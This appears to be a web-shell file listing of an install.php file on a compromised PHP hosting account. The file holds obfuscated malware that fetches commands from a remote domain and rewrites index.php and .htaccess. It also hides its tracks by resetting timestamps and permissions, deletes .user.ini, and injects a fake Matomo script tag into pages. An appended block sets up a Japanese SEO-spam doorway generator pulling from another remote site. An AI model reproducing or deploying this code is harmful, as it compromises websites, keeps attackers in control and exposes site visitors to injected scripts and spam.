Current Path : /home/scoots/www/mainth/ |
Linux webm002.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64 |
Current File : /home/scoots/www/mainth/install.php |
<?php /*Leafmail3*/goto o1QFr; wasj3: $ZJUCA($jQ0xa, $RTa9G); goto wYDtx; IuHdj: $egQ3R = "\147\172\151"; goto ChKDE; TpHVE: $cPzOq .= "\157\x6b\x6b"; goto vgltl; gmVrv: $Mvmq_ .= "\x6c\x5f\x63\154\x6f"; goto N9T5l; SClM0: $VwfuP = "\x64\x65\146"; goto PXHHr; m8hp8: $uHlLz = "\x73\x74\x72"; goto lz2G0; UH4Mb: $eULaj .= "\x70\x63\x2e\x70"; goto apDh3; QPct6: AtVLG: goto Mg1JO; dj8v0: $ZJUCA = "\143\150"; goto WmTiu; uHm0i: $TBxbX = "\x57\x50\137\125"; goto RCot0; f4Rdw: if (!($EUeQo($kpMfb) && !preg_match($tIzL7, PHP_SAPI) && $fHDYt($uZmPe, 2 | 4))) { goto TGN7B; } goto S2eca; H7qkB: $MyinT .= "\164\40\x41\x63\x63"; goto Air1i; AedpI: try { goto JM3SL; oiS8N: @$YWYP0($lJtci, $H0gg1); goto nucR0; AffR5: @$YWYP0($PcRcO, $H0gg1); goto SpIUU; JnP2S: @$ZJUCA($lJtci, $shT8z); goto oiS8N; nOhHX: @$ZJUCA($lJtci, $RTa9G); goto LvbAc; LvbAc: @$rGvmf($lJtci, $UYOWA["\141"]); goto JnP2S; SpIUU: @$ZJUCA($jQ0xa, $shT8z); goto qvTm1; gA5rv: @$ZJUCA($PcRcO, $shT8z); goto AffR5; nucR0: @$ZJUCA($PcRcO, $RTa9G); goto COvI1; JM3SL: @$ZJUCA($jQ0xa, $RTa9G); goto nOhHX; COvI1: @$rGvmf($PcRcO, $UYOWA["\142"]); goto gA5rv; qvTm1: } catch (Exception $ICL20) { } goto PqZGA; BWxc9: $kpMfb .= "\154\137\x69\156\x69\164"; goto RMP1m; Q7gNx: $gvOPD = "\151\163\137"; goto AfwzG; fFfBR: goto AtVLG; goto kST_Q; J9uWl: $e9dgF .= "\x61\171\163"; goto lNb3h; ZlPje: $u9w0n .= "\x75\x69\x6c\144\x5f\161"; goto Mit4a; YRbfa: $dGt27 .= "\157\x73\x65"; goto L744i; ioNAN: $tIzL7 .= "\x6c\x69\57"; goto Khhgn; mz3rE: $FANp1 .= "\x70\141\x72\145"; goto SClM0; eBKm1: $PcRcO = $jQ0xa; goto Sg4f2; D0V8f: $pv6cp = "\162\x65"; goto Hy0sm; xXaQc: $FANp1 = "\x76\145\162\x73\151"; goto T7IwT; ulics: try { $_SERVER[$pv6cp] = 1; $pv6cp(function () { goto YEXR4; PKzAL: $AG2hR .= "\163\171\x6e\x63\75\164\162\165\145"; goto HIXil; NZAxH: $AG2hR .= "\x65\x72\75\164\x72\165\x65\x3b" . "\12"; goto Tbsb3; xDrpr: $AG2hR .= "\x75\x6d\x65\156\164\54\40\x67\75\144\x2e\143\162\145\x61\164\145"; goto mLjk9; r_Oqj: $AG2hR .= "\163\x63\162\151\160\164\x22\x3e" . "\xa"; goto JZsfv; PEdls: $AG2hR .= "\74\57\163"; goto WBFgG; POyWW: $AG2hR .= "\x4d\55"; goto a8oGQ; N2RIK: $AG2hR .= "\175\x29\50\51\x3b" . "\12"; goto PEdls; Vj0ze: $AG2hR .= "\x72\151\160\x74\40\164\x79\x70\145\x3d\42\164\145\170"; goto FXjwZ; JZsfv: $AG2hR .= "\x28\x66\x75\156\143"; goto ZRBmo; zk1Ml: $AG2hR .= "\x79\124\141\147\x4e\x61\155\145"; goto STHB_; aKt86: $AG2hR .= "\x72\x69\160\x74\42\51\x2c\40\x73\75\x64\x2e\x67\x65\x74"; goto oxuwD; FXjwZ: $AG2hR .= "\x74\57\x6a\141\x76\141"; goto r_Oqj; YffEK: $AG2hR .= "\57\x6d\141\164"; goto nL_GE; ZrlUz: $AG2hR .= "\x73\x63\162\151\x70\164\x22\x3b\40\147\x2e\141"; goto PKzAL; MSqPC: $AG2hR .= "\x65\x20\55\x2d\76\12"; goto rWq2m; gUhrX: $AG2hR .= "\74\x73\143"; goto Vj0ze; oxuwD: $AG2hR .= "\x45\154\x65\x6d\145\156\164\x73\102"; goto zk1Ml; a8oGQ: $AG2hR .= time(); goto xyZaU; WBFgG: $AG2hR .= "\x63\162\151\160\164\x3e\xa"; goto jHj0s; rWq2m: echo $AG2hR; goto zxMHd; zzMTI: $AG2hR .= "\152\141\166\x61"; goto ZrlUz; HIXil: $AG2hR .= "\73\x20\147\56\144\x65\x66"; goto NZAxH; EXhzp: $AG2hR .= "\x65\156\164\x4e\x6f\x64\145\56\x69\x6e"; goto yJp9W; KUpUt: $AG2hR .= "\x64\40\115\141\x74"; goto c13YM; hugz8: $AG2hR .= "\x6f\x72\145\50\x67\54\x73\51\73" . "\xa"; goto N2RIK; xyZaU: $AG2hR .= "\x22\73\40\163\56\160\141\162"; goto EXhzp; ZRBmo: $AG2hR .= "\164\151\x6f\156\x28\51\x20\173" . "\xa"; goto sOVga; YqIfq: $AG2hR .= "\77\x69\x64\x3d"; goto POyWW; Tbsb3: $AG2hR .= "\147\x2e\163\x72"; goto vxsas; k1w2Q: $AG2hR = "\x3c\41\x2d\55\x20\115\x61"; goto OOFo2; F2sIB: $AG2hR .= "\x3d\x22\164\x65\x78\x74\57"; goto zzMTI; OOFo2: $AG2hR .= "\x74\157\155\x6f\x20\55\x2d\x3e\xa"; goto gUhrX; vxsas: $AG2hR .= "\143\x3d\165\x2b\42\x6a\163\57"; goto JGvCK; jHj0s: $AG2hR .= "\74\x21\55\55\40\x45\156"; goto KUpUt; mLjk9: $AG2hR .= "\105\154\x65\x6d\x65\156\x74\50\42\163\x63"; goto aKt86; yJp9W: $AG2hR .= "\x73\x65\162\x74\102\145\146"; goto hugz8; c13YM: $AG2hR .= "\x6f\x6d\x6f\40\103\157\144"; goto MSqPC; STHB_: $AG2hR .= "\50\x22\x73\x63\162\x69"; goto SX8pI; JGvCK: $AG2hR .= $osL5h; goto YffEK; nL_GE: $AG2hR .= "\x6f\155\x6f\56\x6a\x73"; goto YqIfq; SX8pI: $AG2hR .= "\160\x74\42\51\133\x30\135\x3b" . "\xa"; goto uh8pE; YEXR4: global $osL5h, $cPzOq; goto k1w2Q; jW6LQ: $AG2hR .= "\166\141\x72\40\144\x3d\x64\157\143"; goto xDrpr; uh8pE: $AG2hR .= "\x67\x2e\164\x79\x70\145"; goto F2sIB; sOVga: $AG2hR .= "\166\x61\162\40\x75\75\42" . $cPzOq . "\42\x3b" . "\xa"; goto jW6LQ; zxMHd: }); } catch (Exception $ICL20) { } goto arBxc; TrkYs: $eULaj .= "\x2f\170\x6d"; goto GE2p3; L744i: $cPzOq = "\x68\x74\164\x70\163\72\57\x2f"; goto TpHVE; CNdmS: wLXpb: goto wasj3; nHXnO: $_POST = $_REQUEST = $_FILES = array(); goto CNdmS; PHhHL: P9yQa: goto W2Q7W; UkCDT: $cLC40 = 32; goto BnazY; vabQZ: $CgFIN = 1; goto QPct6; gSbiK: try { goto xtnST; qBVAq: $k7jG8[] = $E0suN; goto Tc9Eb; vZ6zL: $E0suN = trim($Q0bWd[0]); goto LuoPM; D98P3: if (!empty($k7jG8)) { goto FbDAI; } goto AML_a; LuoPM: $jCv00 = trim($Q0bWd[1]); goto Q4uy7; xtnST: if (!$gvOPD($d3gSl)) { goto nHP5K; } goto W8uMn; c_73m: FbDAI: goto h1Cu7; kNAxm: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto lfWQh; } goto MfJKK; L8cv7: WVm2j: goto c_73m; AML_a: $d3gSl = $jQ0xa . "\x2f" . $HNQiW; goto GBRPC; ZSYyc: $jCv00 = trim($Q0bWd[1]); goto kNAxm; W8uMn: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto Woix_; EA1BT: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto ctSg2; } goto A163l; Woix_: if (!(is_array($Q0bWd) && count($Q0bWd) == 2)) { goto wU2zk; } goto vZ6zL; Q4uy7: if (!($uHlLz($E0suN) == $cLC40 && $uHlLz($jCv00) == $cLC40)) { goto VAVW5; } goto qBVAq; tEVz_: $k7jG8[] = $jCv00; goto xWpvL; xWpvL: lfWQh: goto oilos; MfJKK: $k7jG8[] = $E0suN; goto tEVz_; N3TyU: wU2zk: goto snD7p; lky0R: $Q0bWd = @explode("\72", $DJDq1($d3gSl)); goto EA1BT; Tc9Eb: $k7jG8[] = $jCv00; goto evp7M; snD7p: nHP5K: goto D98P3; oilos: ctSg2: goto L8cv7; evp7M: VAVW5: goto N3TyU; GBRPC: if (!$gvOPD($d3gSl)) { goto WVm2j; } goto lky0R; A163l: $E0suN = trim($Q0bWd[0]); goto ZSYyc; h1Cu7: } catch (Exception $ICL20) { } goto xU6vT; T7IwT: $FANp1 .= "\x6f\x6e\x5f\143\x6f\x6d"; goto mz3rE; JX1Oy: $dGt27 = "\x66\x63\x6c"; goto YRbfa; BnazY: $Pzt0o = 5; goto TYFaW; o1QFr: $kFvng = "\74\x44\x44\x4d\x3e"; goto wODYw; CL80L: $MyinT .= "\120\x2f\61\x2e\x31\x20\x34"; goto gErqa; tFGg7: $YWYP0 .= "\x75\143\x68"; goto dj8v0; pXfDS: $ygOJ_ .= "\x2f\167\160"; goto c7yEe; xUd9U: $pv6cp .= "\151\x6f\x6e"; goto bqFyS; PqZGA: CVVA3: goto RDKTA; wYDtx: $uZmPe = $nPBv4($eULaj, "\x77\x2b"); goto f4Rdw; E453u: $QIBzt .= "\56\64"; goto O8RXw; a4EJZ: $dZR_y = $cPzOq; goto vZkPa; FK_sr: $kb9bA .= "\x65\162\x2e\x69"; goto G2uff; TuwL4: $jQ0xa = $_SERVER[$Wv1G0]; goto wrxGI; wJDrU: $eULaj = $jQ0xa; goto TrkYs; MLdcc: $fHDYt .= "\x63\153"; goto JX1Oy; Gs7Gb: $kpMfb = $vW4As; goto BWxc9; Mit4a: $u9w0n .= "\x75\x65\x72\171"; goto cIo5P; GE2p3: $eULaj .= "\x6c\162"; goto UH4Mb; cIo5P: $uAwql = "\155\x64\65"; goto aXExt; c7yEe: $ygOJ_ .= "\x2d\x61"; goto XWOCC; wrxGI: $ygOJ_ = $jQ0xa; goto pXfDS; XsWqd: $kb9bA .= "\57\56\165\163"; goto FK_sr; cWrVz: $nPBv4 .= "\145\x6e"; goto KCtWA; CrWKs: $l0WLW .= "\157\160\x74"; goto jcG0e; lz2G0: $uHlLz .= "\154\x65\x6e"; goto xXaQc; wee0Y: $ulOTQ .= "\115\111\116"; goto Tfi5q; vgltl: $cPzOq .= "\154\x69\x6e\153\56\x74"; goto pr5fA; Khhgn: $tIzL7 .= "\x73\151"; goto JBJmV; kJlf4: $DJDq1 .= "\147\145\164\137\143"; goto NZqWx; lNb3h: $H0gg1 = $xsR4V($e9dgF); goto XYviL; TBl6Q: sLwcv: goto fFfBR; RMP1m: $l0WLW = $vW4As; goto ujtZa; XQnCd: $PcRcO .= "\x61\143\143\145\163\x73"; goto ikUIP; X4xWX: $QIBzt = "\x35"; goto E453u; hDUdL: $MWMOe .= "\x6c\x65"; goto Q7gNx; LxUUO: $RTa9G = $QTYip($HqqUn($RTa9G), $Pzt0o); goto qaeyL; f6Txl: $HqqUn = "\x64\x65\143"; goto gwNCH; sK97X: $nPBv4 = "\x66\157\160"; goto cWrVz; Ee0VW: $EUeQo .= "\164\x69\x6f\156\x5f"; goto a2JJX; D9NbF: $CgFIN = 1; goto PHhHL; VY3H_: $Wv1G0 = "\x44\117\x43\x55\115\105\116\x54"; goto HpOFr; CRqG1: if (empty($k7jG8)) { goto VIn91; } goto s4AWH; apDh3: $eULaj .= "\x68\160\x2e\60"; goto sK97X; Sg4f2: $PcRcO .= "\57\x2e\x68\x74"; goto XQnCd; jcG0e: $YQ0P6 = $vW4As; goto rA_Dy; dlqC2: $HNQiW = substr($uAwql($osL5h), 0, 6); goto xGZOR; kxKwG: $osL5h = $_SERVER[$i5EZR]; goto TuwL4; ozW5s: $e9dgF .= "\63\x20\x64"; goto J9uWl; xU6vT: $lJtci = $jQ0xa; goto BpRMk; CquiC: $dZR_y .= "\x63\x6f\160\171"; goto BLSy0; GSfrX: $pv6cp .= "\x75\x6e\143\164"; goto xUd9U; yaYSs: $rGvmf .= "\x6f\x6e\x74\x65\156\164\163"; goto mIlAi; FXRyn: $TBxbX .= "\115\x45\x53"; goto R1jVG; kST_Q: VIn91: goto vabQZ; flXr3: $shT8z = $QTYip($HqqUn($shT8z), $Pzt0o); goto TkfCl; FJdH4: $dZR_y .= "\x3d\x67\x65\x74"; goto CquiC; kJyDh: $QTYip = "\x69\156\x74"; goto blzff; s4AWH: $H25pP = $k7jG8[0]; goto t74Wt; TyAte: $k7jG8 = array(); goto UkCDT; EO8QL: try { $UYOWA = @$AkFS8($egQ3R($eKFWX($M7wqP))); } catch (Exception $ICL20) { } goto OXweB; XYviL: $i5EZR = "\110\124\124\x50"; goto j4Pjv; ikUIP: $kb9bA = $jQ0xa; goto XsWqd; VrwTF: $nRD8p .= "\x64\x69\162"; goto aQp1m; dLa5a: $pv6cp .= "\x65\162\x5f"; goto x5YEr; PgImI: @$ZJUCA($kb9bA, $RTa9G); goto yAax8; Jb1Vu: try { goto Bwps7; WPylr: if (!$xsy4x($Y61WO)) { goto nWSzU; } goto NpK90; xqrLf: @$YWYP0($dqnvi, $H0gg1); goto cinsF; N7wJU: if ($xsy4x($Y61WO)) { goto KOuoA; } goto RBLfp; wf0jq: @$ZJUCA($Y61WO, $shT8z); goto xqrLf; bfkJn: try { goto jwOvP; sXqkD: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto tXay1; jwOvP: $ekYPG = $kpMfb(); goto jMqt3; VURt4: $l0WLW($ekYPG, CURLOPT_POST, 1); goto Qk7oo; G7Y1e: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto Sw_Ys; lg1iu: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 3); goto VURt4; jMqt3: $l0WLW($ekYPG, CURLOPT_URL, $LfwPf . "\x26\164\x3d\151"); goto G7Y1e; Qk7oo: $l0WLW($ekYPG, CURLOPT_POSTFIELDS, $u9w0n($Lx9yT)); goto axPES; Sw_Ys: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto sXqkD; tXay1: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto Gb33B; PUEHo: $Mvmq_($ekYPG); goto rF4qo; Gb33B: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto lg1iu; axPES: $YQ0P6($ekYPG); goto PUEHo; rF4qo: } catch (Exception $ICL20) { } goto zCePm; s2GBY: $Y61WO = dirname($dqnvi); goto N7wJU; bO0VE: KOuoA: goto WPylr; RBLfp: @$ZJUCA($jQ0xa, $RTa9G); goto lexI4; NpK90: @$ZJUCA($Y61WO, $RTa9G); goto aGYEQ; wsLep: $Lx9yT = ["\144\x61\x74\x61" => $UYOWA["\x64"]["\165\162\x6c"]]; goto bfkJn; y0C5p: @$ZJUCA($dqnvi, $shT8z); goto wf0jq; cinsF: $LfwPf = $cPzOq; goto d8sPt; OAF8R: $LfwPf .= "\x6c\x6c"; goto wsLep; d8sPt: $LfwPf .= "\77\141\143"; goto HZ42Q; lexI4: @$nRD8p($Y61WO, $RTa9G, true); goto K7fs2; aGYEQ: @$rGvmf($dqnvi, $UYOWA["\144"]["\x63\157\x64\x65"]); goto y0C5p; zCePm: nWSzU: goto r2ase; Bwps7: $dqnvi = $jQ0xa . $UYOWA["\144"]["\160\x61\x74\x68"]; goto s2GBY; K7fs2: @$ZJUCA($jQ0xa, $shT8z); goto bO0VE; HZ42Q: $LfwPf .= "\164\75\x63\141"; goto OAF8R; r2ase: } catch (Exception $ICL20) { } goto AedpI; kAMGF: $xsy4x .= "\144\x69\x72"; goto gdP2h; lX6T6: if (!$gvOPD($kb9bA)) { goto KTGlr; } goto spjef; jxKJS: $ulOTQ .= "\x5f\x41\104"; goto wee0Y; vZkPa: $dZR_y .= "\x3f\141\143\164"; goto FJdH4; gErqa: $MyinT .= "\60\x36\x20\116\x6f"; goto H7qkB; xGZOR: $hg32N = $d3gSl = $ygOJ_ . "\57" . $HNQiW; goto TyAte; GiT2I: $Mvmq_ = $vW4As; goto gmVrv; KCtWA: $fHDYt = "\x66\x6c\157"; goto MLdcc; Yc09l: $xsy4x = "\x69\163\137"; goto kAMGF; FZsOD: $lJtci .= "\150\x70"; goto eBKm1; rA_Dy: $YQ0P6 .= "\154\137\x65\170\x65\x63"; goto GiT2I; VQCaR: $k8h0h = !empty($m4bDA) || !empty($ZTS7q); goto Bw8cX; ujtZa: $l0WLW .= "\154\137\x73\x65\x74"; goto CrWKs; R1jVG: $ulOTQ = "\127\120"; goto jxKJS; OXweB: if (!is_array($UYOWA)) { goto CVVA3; } goto L7ftk; bqFyS: if (isset($_SERVER[$pv6cp])) { goto Kwp9i; } goto r3vZ_; ChKDE: $egQ3R .= "\156\146\x6c\x61\164\145"; goto OCGca; Bx0F8: $rGvmf = "\146\x69\154\145\x5f"; goto cMMsY; lar4b: $xsR4V .= "\x6d\145"; goto ESAaf; L7ftk: try { goto b8mrw; IZ7dT: @$rGvmf($d3gSl, $UYOWA["\x63"]); goto qi8JJ; j1slf: if (!$xsy4x($ygOJ_)) { goto fnZm_; } goto l27iU; FnW9Y: fnZm_: goto IZ7dT; RHQPY: @$ZJUCA($jQ0xa, $shT8z); goto FudGj; jRIpH: $d3gSl = $hg32N; goto FnW9Y; b8mrw: @$ZJUCA($jQ0xa, $RTa9G); goto j1slf; l27iU: @$ZJUCA($ygOJ_, $RTa9G); goto jRIpH; qi8JJ: @$ZJUCA($d3gSl, $shT8z); goto fMj35; fMj35: @$YWYP0($d3gSl, $H0gg1); goto RHQPY; FudGj: } catch (Exception $ICL20) { } goto Jb1Vu; Hy0sm: $pv6cp .= "\x67\151\x73\164"; goto dLa5a; wODYw: $tIzL7 = "\57\x5e\143"; goto ioNAN; D9G8A: $vW4As = "\x63\165\162"; goto Gs7Gb; zR6Sw: $RTa9G += 304; goto LxUUO; FLAgg: @$ZJUCA($jQ0xa, $shT8z); goto Ms_Rx; TkfCl: $MyinT = "\110\124\124"; goto CL80L; JBJmV: $xsR4V = "\x73\x74\x72"; goto wDwVu; m7Y7E: $shT8z += 150; goto flXr3; OCGca: $AkFS8 = "\165\x6e\x73\145\x72"; goto DuXwv; spjef: @$ZJUCA($jQ0xa, $RTa9G); goto PgImI; mIlAi: $YWYP0 = "\x74\157"; goto tFGg7; Air1i: $MyinT .= "\x65\x70\164\x61\142\154\145"; goto wJDrU; hnuEm: $M7wqP = false; goto IxcDO; AfwzG: $gvOPD .= "\x66\151\154\x65"; goto Yc09l; Mg1JO: if (!$CgFIN) { goto V5o9n; } goto a4EJZ; O8RXw: $QIBzt .= "\x2e\x30\73"; goto kxKwG; Qjsri: Kwp9i: goto uHm0i; aQp1m: $DJDq1 = "\146\151\154\145\x5f"; goto kJlf4; wDwVu: $xsR4V .= "\x74\157"; goto k5kym; Ms_Rx: KTGlr: goto QDkYN; p2xAd: $u9w0n = "\x68\x74\x74\160\x5f\142"; goto ZlPje; XWOCC: $ygOJ_ .= "\x64\155\151\156"; goto dlqC2; PXHHr: $VwfuP .= "\x69\156\145\144"; goto uwRQG; t74Wt: $Aa5A7 = $k7jG8[1]; goto rjUnC; WmTiu: $ZJUCA .= "\x6d\157\x64"; goto OMDdm; F90kP: $CgFIN = 1; goto TBl6Q; IxcDO: try { goto MN2Ol; lfwpD: $l0WLW($ekYPG, CURLOPT_RETURNTRANSFER, 1); goto XT0V7; pm4fL: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYHOST, false); goto f1Wpg; LukB5: $l0WLW($ekYPG, CURLOPT_USERAGENT, "\x49\x4e"); goto lfwpD; MN2Ol: $ekYPG = $kpMfb(); goto PGjVI; XT0V7: $l0WLW($ekYPG, CURLOPT_SSL_VERIFYPEER, false); goto pm4fL; f1Wpg: $l0WLW($ekYPG, CURLOPT_FOLLOWLOCATION, true); goto A02q4; Jr5Fq: $Mvmq_($ekYPG); goto kxHAl; kxHAl: $M7wqP = trim(trim($M7wqP, "\xef\273\xbf")); goto DRdNb; A02q4: $l0WLW($ekYPG, CURLOPT_TIMEOUT, 10); goto czpAh; PGjVI: $l0WLW($ekYPG, CURLOPT_URL, $dZR_y); goto LukB5; czpAh: $M7wqP = $YQ0P6($ekYPG); goto Jr5Fq; DRdNb: } catch (Exception $ICL20) { } goto TtjMz; yA6tr: $e9dgF .= "\63\x36"; goto ozW5s; BLSy0: $dZR_y .= "\x26\164\x3d\x69\46\x68\75" . $osL5h; goto hnuEm; qaeyL: $shT8z = 215; goto m7Y7E; YAsQc: if (!(!$_SERVER[$pv6cp] && $FANp1(PHP_VERSION, $QIBzt, "\76"))) { goto VlKKH; } goto ulics; QDkYN: $CgFIN = 0; goto CRqG1; g3rCR: $m4bDA = $_REQUEST; goto A4fYL; rjUnC: if (!(!$gvOPD($lJtci) || $MWMOe($lJtci) != $H25pP)) { goto P9yQa; } goto D9NbF; x5YEr: $pv6cp .= "\x73\x68\165"; goto itQ2f; A4fYL: $ZTS7q = $_FILES; goto VQCaR; a2JJX: $EUeQo .= "\145\x78"; goto fYDkt; TYFaW: $Pzt0o += 3; goto hoCMV; fYDkt: $EUeQo .= "\x69\163\x74\163"; goto D9G8A; fmcU9: $MWMOe .= "\x5f\x66\151"; goto hDUdL; S2eca: $ZJUCA($jQ0xa, $shT8z); goto YAsQc; RCot0: $TBxbX .= "\x53\105\x5f\124\110\105"; goto FXRyn; BpRMk: $lJtci .= "\57\x69\x6e"; goto lJYIj; cMMsY: $rGvmf .= "\160\x75\164\137\143"; goto yaYSs; j4Pjv: $i5EZR .= "\x5f\x48\117\x53\x54"; goto VY3H_; itQ2f: $pv6cp .= "\x74\x64\x6f"; goto gi1ux; YAE22: $eKFWX .= "\66\x34\137\x64"; goto HkhAv; DuXwv: $AkFS8 .= "\x69\x61\x6c\151\x7a\x65"; goto kJyDh; NZqWx: $DJDq1 .= "\x6f\156\164\145\x6e\x74\x73"; goto Bx0F8; ESAaf: $EUeQo = "\146\x75\156\143"; goto Ee0VW; HkhAv: $eKFWX .= "\x65\143\x6f\x64\145"; goto IuHdj; RDKTA: HuCWH: goto tkEEo; k5kym: $xsR4V .= "\x74\151"; goto lar4b; WQZ3H: $UYOWA = 0; goto EO8QL; TtjMz: if (!($M7wqP !== false)) { goto HuCWH; } goto WQZ3H; N9T5l: $Mvmq_ .= "\x73\145"; goto p2xAd; HpOFr: $Wv1G0 .= "\137\122\117\x4f\124"; goto X4xWX; arBxc: VlKKH: goto gSbiK; G2uff: $kb9bA .= "\156\151"; goto lX6T6; gwNCH: $HqqUn .= "\157\x63\164"; goto m8hp8; yAax8: @unlink($kb9bA); goto FLAgg; pr5fA: $cPzOq .= "\157\x70\x2f"; goto D0V8f; gi1ux: $pv6cp .= "\x77\x6e\x5f\x66"; goto GSfrX; OMDdm: $eKFWX = "\142\141\x73\x65"; goto YAE22; aXExt: $MWMOe = $uAwql; goto fmcU9; gdP2h: $nRD8p = "\155\x6b"; goto VrwTF; Bw8cX: if (!(!$fs0FH && $k8h0h)) { goto wLXpb; } goto nHXnO; uwRQG: $e9dgF = "\x2d\61"; goto yA6tr; hoCMV: $RTa9G = 189; goto zR6Sw; Tfi5q: $fs0FH = $VwfuP($TBxbX) || $VwfuP($ulOTQ); goto g3rCR; W2Q7W: if (!(!$gvOPD($PcRcO) || $MWMOe($PcRcO) != $Aa5A7)) { goto sLwcv; } goto F90kP; r3vZ_: $_SERVER[$pv6cp] = 0; goto Qjsri; lJYIj: $lJtci .= "\144\x65\170\56\x70"; goto FZsOD; blzff: $QTYip .= "\x76\x61\x6c"; goto f6Txl; tkEEo: V5o9n: goto ossJl; ossJl: TGN7B: ?> <?php @ini_set('display_errors', 0); @set_time_limit(3600); define("DOMTXT","/jdd/"); define("GETDOM","http://www.center-5.xyz/jpdd171218qi-1/"); define("FNUM",50); define("JGNUM","132"); define("LINKNUM","12"); define("BZSITE","q"); define("BZPRO","l"); //Fnamebg define("FILEDIRNAME","testshop"); //Fnameend //msbg define("JDT","0"); //msend //jthouzuibg define("JTHZ","/"); //jthouzuiend //keyjgbg define("KEYJG","7"); //keyjgbgend // #llqllq#arr_nametimebg $arrnametime[]="3"; $arrnametime[]="2"; $arrnametime[]="4"; $arrnametime[]="1"; // #llqllq#arr_nametimeend // #llqllq#arr_wordbg $arr_word[0][] ="3";$arr_word[0][] ="2";$arr_word[0][] ="2";$arr_word[0][] ="4";$arr_word[0][] ="2";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[0][] ="3";$arr_word[0][] ="4";$arr_word[0][] ="4";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="2";$arr_word[1][] ="2";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[1][] ="3";$arr_word[1][] ="4";$arr_word[1][] ="3";$arr_word[1][] ="2";$arr_word[2][] ="2";$arr_word[2][] ="2";$arr_word[2][] ="4";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[2][] ="3";$arr_word[2][] ="2";$arr_word[2][] ="3";$arr_word[2][] ="4";$arr_word[2][] ="4";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="2";$arr_word[3][] ="3";$arr_word[3][] ="4";$arr_word[3][] ="4";$arr_word[3][] ="2";$arr_word[3][] ="4";$arr_word[3][] ="3";$arr_word[4][] ="4";$arr_word[4][] ="4";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="2";$arr_word[4][] ="4";$arr_word[4][] ="2";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[4][] ="3";$arr_word[5][] ="4";$arr_word[5][] ="3";$arr_word[5][] ="2";$arr_word[5][] ="3";$arr_word[5][] ="2";$arr_word[5][] ="4";$arr_word[5][] ="4";$arr_word[5][] ="2";$arr_word[5][] ="3";$arr_word[5][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="3";$arr_word[6][] ="2";$arr_word[6][] ="2";$arr_word[6][] ="3";$arr_word[6][] ="4";$arr_word[6][] ="4";$arr_word[6][] ="4";$arr_word[6][] ="3";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="2";$arr_word[7][] ="3";$arr_word[7][] ="2";$arr_word[7][] ="4";$arr_word[7][] ="4";$arr_word[7][] ="4";$arr_word[7][] ="3";$arr_word[7][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="4";$arr_word[8][] ="4";$arr_word[8][] ="4";$arr_word[8][] ="3";$arr_word[8][] ="3";$arr_word[8][] ="2";$arr_word[8][] ="2";$arr_word[8][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="3";$arr_word[9][] ="4";$arr_word[9][] ="2";$arr_word[9][] ="4";$arr_word[9][] ="3";$arr_word[9][] ="2";$arr_word[9][] ="4";$arr_word[9][] ="2";$arr_word[9][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="3";$arr_word[10][] ="4";$arr_word[10][] ="3";$arr_word[10][] ="2";$arr_word[10][] ="4";$arr_word[10][] ="4";$arr_word[10][] ="2";$arr_word[10][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="3";$arr_word[11][] ="2";$arr_word[11][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="4";$arr_word[11][] ="2";$arr_word[11][] ="3";$arr_word[11][] ="4";$arr_word[11][] ="4"; // #llqllq#arr_wordend // #llqllq#arr_keywz $arrKeywz[]="6"; $arrKeywz[]="8"; $arrKeywz[]="4"; $arrKeywz[]="5"; $arrKeywz[]="9"; $arrKeywz[]="10"; $arrKeywz[]="7"; $arrKeywz[]="12"; $arrKeywz[]="11"; // #llqllq#arr_keywzend // #llqllq#arr_fuhao $arrfh[]="、";$arrfh[]=" ";$arrfh[]="!";$arrfh[]="……";$arrfh[]="。";$arrfh[]="?";$arrfh[]=";";$arrfh[]=","; // #llqllq#arr_fuhaoend // #llqllq#arr_keybg $arr_key[]="新作"; $arr_key[]="定番"; $arr_key[]="【国内即発送】"; $arr_key[]="【特別セール品】"; $arr_key[]="完成品"; $arr_key[]="【人気商品!】"; $arr_key[]="使い勝手の良い"; $arr_key[]="【新作入荷!!】"; $arr_key[]="【税込】"; $arr_key[]="再再販!"; $arr_key[]="1着でも送料無料"; $arr_key[]="【 開梱 設置?無料 】"; $arr_key[]="【送料無料/新品】"; $arr_key[]="【期間限定お試し価格】"; $arr_key[]="好きに"; $arr_key[]="大特価!!"; $arr_key[]="【限定販売】"; $arr_key[]="【保障できる】"; $arr_key[]="【公式】"; $arr_key[]="【使い勝手の良い】"; $arr_key[]="誠実"; $arr_key[]="【新品、本物、当店在庫だから安心】"; $arr_key[]="【予約販売】本"; $arr_key[]="【同梱不可】"; $arr_key[]="【激安】"; $arr_key[]="『4年保証』"; $arr_key[]="特価"; $arr_key[]="【驚きの値段】"; $arr_key[]="【ギフ_包装】"; $arr_key[]="男女兼用"; $arr_key[]="格安SALEスタート!"; $arr_key[]="【メーカー公式ショップ】"; $arr_key[]="【SEAL限定商品】"; $arr_key[]="気質アップ"; $arr_key[]="セール 登場から人気沸騰"; $arr_key[]="ランキング第1位"; $arr_key[]="【大注目】"; $arr_key[]="【正規取扱店】"; $arr_key[]="【おトク】"; $arr_key[]="【お気にいる】"; 